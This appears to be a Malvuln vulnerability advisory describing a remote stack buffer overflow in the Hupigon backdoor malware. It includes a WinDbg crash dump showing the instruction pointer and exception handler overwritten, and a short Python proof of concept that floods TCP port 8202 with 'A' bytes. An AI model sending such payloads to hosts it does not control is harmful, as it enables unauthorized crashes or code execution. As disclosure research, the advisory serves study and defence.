Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/c38cd09fd5ebd1f0cc378804b2da08c4.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Hupigon.aaio Vulnerability: Remote Stack Buffer Overflow Description: The malware listens on TCP ports 8200,8201,8202,8203 and UDP ports 8200,8204. Third-party attackers who can reach an infected host can trigger a classic remote buffer overflow by sending a large payload to TCP port 8202. This will overwrite the ECX and EIP stack registers and structured exception handler (SEH). Type: PE32 MD5: c38cd09fd5ebd1f0cc378804b2da08c4 Vuln ID: MVID-2021-0255 ASLR: False DEP: False Safe SEH: True Disclosure: 06/20/2021 Memory Dump: (ce8.ce4): Access violation - code c0000005 (first/second chance not available) eax=00000000 ebx=00000000 ecx=41414141 edx=77909d70 esi=00000000 edi=00000000 eip=41414141 esp=000a1668 ebp=000a1688 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 41414141 ?? ??? 0:000> .ecxr eax=00000000 ebx=00000000 ecx=41414141 edx=77909d70 esi=00000000 edi=00000000 eip=41414141 esp=000a1668 ebp=000a1688 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 41414141 ?? ??? 0:000> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* *** WARNING: Unable to verify checksum for Backdoor.Win32.Hupigon.aaio.c38cd09fd5ebd1f0cc378804b2da08c4.exe *** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Hupigon.aaio.c38cd09fd5ebd1f0cc378804b2da08c4.exe FAULTING_IP: Backdoor_Win32_Hupigon_aaio_c38cd09fd5ebd1f0cc378804b2da08c4+e7e68 004e7e68 8b8068030000 mov eax,dword ptr [eax+368h] EXCEPTION_RECORD: 0019d22c -- (.exr 0x19d22c) ExceptionAddress: 004e7e68 (Backdoor_Win32_Hupigon_aaio_c38cd09fd5ebd1f0cc378804b2da08c4+0x000e7e68) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000000 Parameter[1]: 414144a9 Attempt to read from address 414144a9 PROCESS_NAME: Backdoor.Win32.Hupigon.aaio.c38cd09fd5ebd1f0cc378804b2da08c4.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000008 EXCEPTION_PARAMETER2: 41414141 WRITE_ADDRESS: 41414141 FOLLOWUP_IP: user32!DispatchMessageWorker+0 77138c30 8bff mov edi,edi FAILED_INSTRUCTION_ADDRESS: +0 41414141 ?? ??? MOD_LIST: <ANALYSIS/> NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 IP_ON_HEAP: 41414141 The fault address in not in any loaded module, please check your build's rebase log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may contain the address if it were loaded. IP_IN_FREE_BLOCK: 41414141 CONTEXT: 0019d27c -- (.cxr 0x19d27c) eax=41414141 ebx=004e7e65 ecx=00000000 edx=026f45f8 esi=00000000 edi=0019dcb4 eip=004e7e68 esp=0019d6dc ebp=0019fce8 iopl=0 nv up ei ng nz ac pe cy cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010297 Backdoor_Win32_Hupigon_aaio_c38cd09fd5ebd1f0cc378804b2da08c4+0xe7e68: 004e7e68 8b8068030000 mov eax,dword ptr [eax+368h] ds:002b:414144a9=???????? Resetting default scope ADDITIONAL_DEBUG_TEXT: Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD] LAST_CONTROL_TRANSFER: from 41414141 to 004e7e68 FAULTING_THREAD: ffffffff BUGCHECK_STR: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141 PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141 DEFAULT_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141 FRAME_ONE_INVALID: 1 STACK_TEXT: 0019d6dc 004e7e68 backdoor_win32_hupigon_aaio+0xe7e68 0019fcf0 41414141 unknown!printable+0x0 0019fcf4 41414141 unknown!printable+0x0 0019fcf8 41414141 unknown!printable+0x0 0019fcfc 41414141 unknown!printable+0x0 0019fd00 41414141 unknown!printable+0x0 0019fd04 41414141 unknown!printable+0x0 0019fd08 41414141 unknown!printable+0x0 0019fe08 00466640 backdoor_win32_hupigon_aaio+0x66640 0019fe20 0046664f backdoor_win32_hupigon_aaio+0x6664f 0019fe84 771390dc user32!DispatchMessageWorker+0x4ac 026d0fdd 492f5cff unknown!unknown+0x0 026d0fe1 2d03d800 unknown!unknown+0x0 026d0fe5 f01de804 unknown!unknown+0x0 026d0fe9 d680ffff unknown!unknown+0x0 026d0fed 15380044 unknown!unknown+0x0 026d0ff1 10e80428 unknown!unknown+0x0 026d0ff5 78fffff0 unknown!unknown+0x0 026d0ff9 f800468a unknown!unknown+0x0 026d0ffd 00042812 unknown!unknown+0x0 STACK_COMMAND: .cxr 000000000019D27C ; kb ; dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; dds 19d6dc ; kb SYMBOL_NAME: user32!DispatchMessageWorker+0 FOLLOWUP_NAME: MachineOwner MODULE_NAME: user32 IMAGE_NAME: user32.dll DEBUG_FLR_IMAGE_TIMESTAMP: 0 FAILURE_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_user32.dll!DispatchMessageWorker BUCKET_ID: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_BAD_IP_user32!DispatchMessageWorker+0 0:000> !exchain 0019fd28: 41414141 Invalid exception stack at 41414141 Exploit/PoC: from socket import * MALWARE_HOST="x.x.x.x" PORT=8202 def doit(): s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) PAYLOAD="A"*8470 s.send(PAYLOAD) print("Backdoor.Win32.Hupigon.aaio / Remote Stack Buffer Overflow") print("MD5: c38cd09fd5ebd1f0cc378804b2da08c4") print("By Malvuln") if __name__=="__main__": doit() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. 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